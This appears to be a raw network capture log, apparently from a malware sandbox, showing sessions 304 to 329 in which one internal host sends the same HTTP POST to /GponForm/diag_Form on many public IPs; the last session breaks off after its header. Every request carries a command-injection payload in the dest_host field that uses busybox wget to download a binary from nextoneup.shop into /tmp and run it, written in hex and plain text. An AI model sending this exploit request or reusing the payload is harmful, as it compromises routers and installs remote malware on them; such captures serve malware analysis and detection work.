XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.13	55488	94.120.191.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747386932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.13	55410	212.124.244.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747422934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.13	39100	118.233.18.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747432947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.13	53350	42.201.133.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747461081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.13	37214	109.145.21.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747479916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.13	45460	118.192.154.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747529030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.13	56168	148.253.18.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747544050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.13	37598	148.8.226.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747580051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.13	41820	109.76.183.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747596979 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.13	49544	178.146.174.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747644901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.13	39364	117.40.182.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747658968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.13	34330	178.65.163.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747687101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.13	57298	148.243.70.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747715950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.13	55068	79.31.226.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747737885 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.13	38732	178.169.127.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747756958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.13	40548	212.135.238.218	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747773886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.13	40814	210.115.131.116	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747793913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.13	52726	79.184.90.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747832060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.13	34950	79.159.214.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747858047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.13	41084	42.225.210.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747875929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.13	53586	5.61.141.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747905016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.13	34244	5.162.159.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747926950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.13	58448	37.11.175.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747957945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.13	39888	212.170.63.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747988939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.13	51790	148.71.30.243	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748017073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.13	40304	79.68.117.189	443

Timestamp	Bytes transferred	Direction	Data
